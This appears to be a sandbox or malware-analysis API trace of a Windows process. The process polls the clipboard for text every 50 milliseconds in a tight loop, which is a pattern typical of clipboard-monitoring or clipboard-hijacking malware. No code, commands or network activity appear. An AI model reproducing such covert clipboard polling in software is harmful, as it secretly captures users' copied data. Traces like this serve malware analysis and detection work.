[0277.179] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x2c24a7, dwHighDateTime=0x1d96e13))
[0277.179] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.180] GetClipboardData (uFormat=0x1) returned 0x0
[0277.180] CloseClipboard () returned 1
[0277.180] Sleep (dwMilliseconds=0x32)
[0277.200] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x2e8712, dwHighDateTime=0x1d96e13))
[0277.224] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.224] GetClipboardData (uFormat=0x1) returned 0x0
[0277.226] CloseClipboard () returned 1
[0277.226] Sleep (dwMilliseconds=0x32)
[0277.264] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x3810c5, dwHighDateTime=0x1d96e13))
[0277.264] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.264] GetClipboardData (uFormat=0x1) returned 0x0
[0277.264] CloseClipboard () returned 1
[0277.264] Sleep (dwMilliseconds=0x32)
[0277.278] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x3a72d6, dwHighDateTime=0x1d96e13))
[0277.278] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.278] GetClipboardData (uFormat=0x1) returned 0x0
[0277.279] CloseClipboard () returned 1
[0277.279] Sleep (dwMilliseconds=0x32)
[0277.290] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x3cd5a1, dwHighDateTime=0x1d96e13))
[0277.290] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.290] GetClipboardData (uFormat=0x1) returned 0x0
[0277.290] CloseClipboard () returned 1
[0277.290] Sleep (dwMilliseconds=0x32)
[0277.304] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x3f3776, dwHighDateTime=0x1d96e13))
[0277.304] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.305] GetClipboardData (uFormat=0x1) returned 0x0
[0277.305] CloseClipboard () returned 1
[0277.305] Sleep (dwMilliseconds=0x32)
[0277.321] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x4199d2, dwHighDateTime=0x1d96e13))
[0277.321] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.321] GetClipboardData (uFormat=0x1) returned 0x0
[0277.322] CloseClipboard () returned 1
[0277.322] Sleep (dwMilliseconds=0x32)
[0277.336] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x43fc32, dwHighDateTime=0x1d96e13))
[0277.336] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.336] GetClipboardData (uFormat=0x1) returned 0x0
[0277.336] CloseClipboard () returned 1
[0277.336] Sleep (dwMilliseconds=0x32)
[0277.351] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x465e98, dwHighDateTime=0x1d96e13))
[0277.351] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.351] GetClipboardData (uFormat=0x1) returned 0x0
[0277.351] CloseClipboard () returned 1
[0277.351] Sleep (dwMilliseconds=0x32)
[0277.368] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x48c0de, dwHighDateTime=0x1d96e13))
[0277.368] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.368] GetClipboardData (uFormat=0x1) returned 0x0
[0277.368] CloseClipboard () returned 1
[0277.368] Sleep (dwMilliseconds=0x32)
[0277.382] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x4b2338, dwHighDateTime=0x1d96e13))
[0277.382] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.383] GetClipboardData (uFormat=0x1) returned 0x0
[0277.383] CloseClipboard () returned 1
[0277.383] Sleep (dwMilliseconds=0x32)
[0277.398] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x4d8592, dwHighDateTime=0x1d96e13))
[0277.398] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.398] GetClipboardData (uFormat=0x1) returned 0x0
[0277.398] CloseClipboard () returned 1
[0277.398] Sleep (dwMilliseconds=0x32)
[0277.415] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x4fe7ed, dwHighDateTime=0x1d96e13))
[0277.415] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.415] GetClipboardData (uFormat=0x1) returned 0x0
[0277.415] CloseClipboard () returned 1
[0277.415] Sleep (dwMilliseconds=0x32)
[0277.441] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x524a45, dwHighDateTime=0x1d96e13))
[0277.441] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.441] GetClipboardData (uFormat=0x1) returned 0x0
[0277.441] CloseClipboard () returned 1
[0277.442] Sleep (dwMilliseconds=0x32)
[0277.445] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x54aca6, dwHighDateTime=0x1d96e13))
[0277.445] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.445] GetClipboardData (uFormat=0x1) returned 0x0
[0277.445] CloseClipboard () returned 1
[0277.445] Sleep (dwMilliseconds=0x32)
[0277.461] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x570f04, dwHighDateTime=0x1d96e13))
[0277.461] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.461] GetClipboardData (uFormat=0x1) returned 0x0
[0277.461] CloseClipboard () returned 1
[0277.461] Sleep (dwMilliseconds=0x32)
[0277.476] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x59715d, dwHighDateTime=0x1d96e13))
[0277.477] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.477] GetClipboardData (uFormat=0x1) returned 0x0
[0277.477] CloseClipboard () returned 1
[0277.477] Sleep (dwMilliseconds=0x32)
[0277.493] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x5bd3b1, dwHighDateTime=0x1d96e13))
[0277.493] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.493] GetClipboardData (uFormat=0x1) returned 0x0
[0277.493] CloseClipboard () returned 1
[0277.493] Sleep (dwMilliseconds=0x32)
[0277.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x5e360a, dwHighDateTime=0x1d96e13))
[0277.507] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.507] GetClipboardData (uFormat=0x1) returned 0x0
[0277.508] CloseClipboard () returned 1
[0277.508] Sleep (dwMilliseconds=0x32)
[0277.523] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x609866, dwHighDateTime=0x1d96e13))
[0277.523] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.523] GetClipboardData (uFormat=0x1) returned 0x0
[0277.523] CloseClipboard () returned 1
[0277.523] Sleep (dwMilliseconds=0x32)
[0277.540] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x62fad6, dwHighDateTime=0x1d96e13))
[0277.540] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.540] GetClipboardData (uFormat=0x1) returned 0x0
[0277.540] CloseClipboard () returned 1
[0277.540] Sleep (dwMilliseconds=0x32)
[0277.554] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x655d15, dwHighDateTime=0x1d96e13))
[0277.554] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.554] GetClipboardData (uFormat=0x1) returned 0x0
[0277.554] CloseClipboard () returned 1
[0277.555] Sleep (dwMilliseconds=0x32)
[0277.571] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x67bf6b, dwHighDateTime=0x1d96e13))
[0277.571] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.571] GetClipboardData (uFormat=0x1) returned 0x0
[0277.571] CloseClipboard () returned 1
[0277.572] Sleep (dwMilliseconds=0x32)
[0277.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x6a21d4, dwHighDateTime=0x1d96e13))
[0277.586] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.586] GetClipboardData (uFormat=0x1) returned 0x0
[0277.586] CloseClipboard () returned 1
[0277.586] Sleep (dwMilliseconds=0x32)
[0277.602] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x6c844b, dwHighDateTime=0x1d96e13))
[0277.602] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.602] GetClipboardData (uFormat=0x1) returned 0x0
[0277.602] CloseClipboard () returned 1
[0277.602] Sleep (dwMilliseconds=0x32)
[0277.617] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x6ee685, dwHighDateTime=0x1d96e13))
[0277.617] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.617] GetClipboardData (uFormat=0x1) returned 0x0
[0277.617] CloseClipboard () returned 1
[0277.617] Sleep (dwMilliseconds=0x32)
[0277.634] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x7148d9, dwHighDateTime=0x1d96e13))
[0277.634] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.634] GetClipboardData (uFormat=0x1) returned 0x0
[0277.634] CloseClipboard () returned 1
[0277.634] Sleep (dwMilliseconds=0x32)
[0277.648] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x73ab4b, dwHighDateTime=0x1d96e13))
[0277.648] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.648] GetClipboardData (uFormat=0x1) returned 0x0
[0277.648] CloseClipboard () returned 1
[0277.649] Sleep (dwMilliseconds=0x32)
[0277.672] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x760d94, dwHighDateTime=0x1d96e13))
[0277.672] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.672] GetClipboardData (uFormat=0x1) returned 0x0
[0277.672] CloseClipboard () returned 1
[0277.673] Sleep (dwMilliseconds=0x32)
[0277.679] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x786fef, dwHighDateTime=0x1d96e13))
[0277.679] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.679] GetClipboardData (uFormat=0x1) returned 0x0
[0277.679] CloseClipboard () returned 1
[0277.680] Sleep (dwMilliseconds=0x32)
[0277.696] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x7ad243, dwHighDateTime=0x1d96e13))
[0277.696] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.696] GetClipboardData (uFormat=0x1) returned 0x0
[0277.696] CloseClipboard () returned 1
[0277.697] Sleep (dwMilliseconds=0x32)
[0277.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x7d34ac, dwHighDateTime=0x1d96e13))
[0277.711] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.711] GetClipboardData (uFormat=0x1) returned 0x0
[0277.711] CloseClipboard () returned 1
[0277.711] Sleep (dwMilliseconds=0x32)
[0277.726] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x7f96f3, dwHighDateTime=0x1d96e13))
[0277.726] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.726] GetClipboardData (uFormat=0x1) returned 0x0
[0277.726] CloseClipboard () returned 1
[0277.726] Sleep (dwMilliseconds=0x32)
[0277.743] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x81f947, dwHighDateTime=0x1d96e13))
[0277.743] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.743] GetClipboardData (uFormat=0x1) returned 0x0
[0277.743] CloseClipboard () returned 1
[0277.743] Sleep (dwMilliseconds=0x32)
[0277.758] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x845bac, dwHighDateTime=0x1d96e13))
[0277.758] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.758] GetClipboardData (uFormat=0x1) returned 0x0
[0277.758] CloseClipboard () returned 1
[0277.758] Sleep (dwMilliseconds=0x32)
[0277.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x86be05, dwHighDateTime=0x1d96e13))
[0277.773] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.773] GetClipboardData (uFormat=0x1) returned 0x0
[0277.773] CloseClipboard () returned 1
[0277.773] Sleep (dwMilliseconds=0x32)
[0277.790] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x892061, dwHighDateTime=0x1d96e13))
[0277.790] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.790] GetClipboardData (uFormat=0x1) returned 0x0
[0277.790] CloseClipboard () returned 1
[0277.790] Sleep (dwMilliseconds=0x32)
[0277.804] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x8b82b4, dwHighDateTime=0x1d96e13))
[0277.804] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.804] GetClipboardData (uFormat=0x1) returned 0x0
[0277.805] CloseClipboard () returned 1
[0277.805] Sleep (dwMilliseconds=0x32)
[0277.821] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x8de512, dwHighDateTime=0x1d96e13))
[0277.821] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.821] GetClipboardData (uFormat=0x1) returned 0x0
[0277.822] CloseClipboard () returned 1
[0277.822] Sleep (dwMilliseconds=0x32)
[0277.836] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x904771, dwHighDateTime=0x1d96e13))
[0277.836] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.836] GetClipboardData (uFormat=0x1) returned 0x0
[0277.836] CloseClipboard () returned 1
[0277.836] Sleep (dwMilliseconds=0x32)
[0277.851] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x92a9c0, dwHighDateTime=0x1d96e13))
[0277.851] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.851] GetClipboardData (uFormat=0x1) returned 0x0
[0277.851] CloseClipboard () returned 1
[0277.851] Sleep (dwMilliseconds=0x32)
[0277.868] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x950c23, dwHighDateTime=0x1d96e13))
[0277.868] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.868] GetClipboardData (uFormat=0x1) returned 0x0
[0277.869] CloseClipboard () returned 1
[0277.869] Sleep (dwMilliseconds=0x32)
[0277.882] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x976e7a, dwHighDateTime=0x1d96e13))
[0277.882] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.883] GetClipboardData (uFormat=0x1) returned 0x0
[0277.883] CloseClipboard () returned 1
[0277.883] Sleep (dwMilliseconds=0x32)
[0277.898] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x99d0d8, dwHighDateTime=0x1d96e13))
[0277.898] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.898] GetClipboardData (uFormat=0x1) returned 0x0
[0277.898] CloseClipboard () returned 1
[0277.898] Sleep (dwMilliseconds=0x32)
[0277.915] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x9c3326, dwHighDateTime=0x1d96e13))
[0277.915] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.915] GetClipboardData (uFormat=0x1) returned 0x0
[0277.915] CloseClipboard () returned 1
[0277.915] Sleep (dwMilliseconds=0x32)
[0277.929] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0x9e9588, dwHighDateTime=0x1d96e13))
[0277.929] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.929] GetClipboardData (uFormat=0x1) returned 0x0
[0277.929] CloseClipboard () returned 1
[0277.929] Sleep (dwMilliseconds=0x32)
[0277.946] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xa0f7db, dwHighDateTime=0x1d96e13))
[0277.946] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.946] GetClipboardData (uFormat=0x1) returned 0x0
[0277.947] CloseClipboard () returned 1
[0277.947] Sleep (dwMilliseconds=0x32)
[0277.961] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xa35a38, dwHighDateTime=0x1d96e13))
[0277.961] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.961] GetClipboardData (uFormat=0x1) returned 0x0
[0277.961] CloseClipboard () returned 1
[0277.961] Sleep (dwMilliseconds=0x32)
[0277.977] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xa5bc94, dwHighDateTime=0x1d96e13))
[0277.977] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.977] GetClipboardData (uFormat=0x1) returned 0x0
[0277.977] CloseClipboard () returned 1
[0277.977] Sleep (dwMilliseconds=0x32)
[0277.993] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xa81eef, dwHighDateTime=0x1d96e13))
[0277.993] OpenClipboard (hWndNewOwner=0x0) returned 1
[0277.993] GetClipboardData (uFormat=0x1) returned 0x0
[0277.993] CloseClipboard () returned 1
[0277.993] Sleep (dwMilliseconds=0x32)
[0278.007] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xaa814f, dwHighDateTime=0x1d96e13))
[0278.007] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.008] GetClipboardData (uFormat=0x1) returned 0x0
[0278.008] CloseClipboard () returned 1
[0278.008] Sleep (dwMilliseconds=0x32)
[0278.023] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xace3ab, dwHighDateTime=0x1d96e13))
[0278.023] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.023] GetClipboardData (uFormat=0x1) returned 0x0
[0278.023] CloseClipboard () returned 1
[0278.023] Sleep (dwMilliseconds=0x32)
[0278.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xaf4602, dwHighDateTime=0x1d96e13))
[0278.040] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.040] GetClipboardData (uFormat=0x1) returned 0x0
[0278.040] CloseClipboard () returned 1
[0278.040] Sleep (dwMilliseconds=0x32)
[0278.054] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xb1a858, dwHighDateTime=0x1d96e13))
[0278.054] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.054] GetClipboardData (uFormat=0x1) returned 0x0
[0278.054] CloseClipboard () returned 1
[0278.054] Sleep (dwMilliseconds=0x32)
[0278.071] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xb40ab3, dwHighDateTime=0x1d96e13))
[0278.071] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.071] GetClipboardData (uFormat=0x1) returned 0x0
[0278.072] CloseClipboard () returned 1
[0278.072] Sleep (dwMilliseconds=0x32)
[0278.086] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xb66d15, dwHighDateTime=0x1d96e13))
[0278.086] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.086] GetClipboardData (uFormat=0x1) returned 0x0
[0278.086] CloseClipboard () returned 1
[0278.086] Sleep (dwMilliseconds=0x32)
[0278.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xb8cf67, dwHighDateTime=0x1d96e13))
[0278.101] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.101] GetClipboardData (uFormat=0x1) returned 0x0
[0278.101] CloseClipboard () returned 1
[0278.101] Sleep (dwMilliseconds=0x32)
[0278.118] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xbb31bc, dwHighDateTime=0x1d96e13))
[0278.118] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.118] GetClipboardData (uFormat=0x1) returned 0x0
[0278.118] CloseClipboard () returned 1
[0278.118] Sleep (dwMilliseconds=0x32)
[0278.132] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xbd941c, dwHighDateTime=0x1d96e13))
[0278.132] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.133] GetClipboardData (uFormat=0x1) returned 0x0
[0278.133] CloseClipboard () returned 1
[0278.133] Sleep (dwMilliseconds=0x32)
[0278.148] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xbff67f, dwHighDateTime=0x1d96e13))
[0278.148] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.148] GetClipboardData (uFormat=0x1) returned 0x0
[0278.148] CloseClipboard () returned 1
[0278.148] Sleep (dwMilliseconds=0x32)
[0278.164] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xc258cf, dwHighDateTime=0x1d96e13))
[0278.164] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.164] GetClipboardData (uFormat=0x1) returned 0x0
[0278.164] CloseClipboard () returned 1
[0278.164] Sleep (dwMilliseconds=0x32)
[0278.179] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xc4bb27, dwHighDateTime=0x1d96e13))
[0278.179] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.179] GetClipboardData (uFormat=0x1) returned 0x0
[0278.179] CloseClipboard () returned 1
[0278.180] Sleep (dwMilliseconds=0x32)
[0278.195] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xc71d7d, dwHighDateTime=0x1d96e13))
[0278.195] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.195] GetClipboardData (uFormat=0x1) returned 0x0
[0278.195] CloseClipboard () returned 1
[0278.195] Sleep (dwMilliseconds=0x32)
[0278.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xc9816f, dwHighDateTime=0x1d96e13))
[0278.211] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.211] GetClipboardData (uFormat=0x1) returned 0x0
[0278.211] CloseClipboard () returned 1
[0278.211] Sleep (dwMilliseconds=0x32)
[0278.226] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xcbe26d, dwHighDateTime=0x1d96e13))
[0278.226] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.226] GetClipboardData (uFormat=0x1) returned 0x0
[0278.226] CloseClipboard () returned 1
[0278.226] Sleep (dwMilliseconds=0x32)
[0278.242] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xce44a0, dwHighDateTime=0x1d96e13))
[0278.242] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.242] GetClipboardData (uFormat=0x1) returned 0x0
[0278.242] CloseClipboard () returned 1
[0278.242] Sleep (dwMilliseconds=0x32)
[0278.257] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xd0a6ef, dwHighDateTime=0x1d96e13))
[0278.257] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.258] GetClipboardData (uFormat=0x1) returned 0x0
[0278.258] CloseClipboard () returned 1
[0278.258] Sleep (dwMilliseconds=0x32)
[0278.273] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xd30990, dwHighDateTime=0x1d96e13))
[0278.273] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.273] GetClipboardData (uFormat=0x1) returned 0x0
[0278.273] CloseClipboard () returned 1
[0278.273] Sleep (dwMilliseconds=0x32)
[0278.289] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xd56c04, dwHighDateTime=0x1d96e13))
[0278.289] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.289] GetClipboardData (uFormat=0x1) returned 0x0
[0278.289] CloseClipboard () returned 1
[0278.289] Sleep (dwMilliseconds=0x32)
[0278.305] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xd7cdf9, dwHighDateTime=0x1d96e13))
[0278.305] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.305] GetClipboardData (uFormat=0x1) returned 0x0
[0278.305] CloseClipboard () returned 1
[0278.305] Sleep (dwMilliseconds=0x32)
[0278.320] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xda3073, dwHighDateTime=0x1d96e13))
[0278.320] OpenClipboard (hWndNewOwner=0x0) returned 1
[0278.320] GetClipboardData (uFormat=0x1) returned 0x0
[0278.320] CloseClipboard () returned 1
[0278.320] Sleep (dwMilliseconds=0x32)
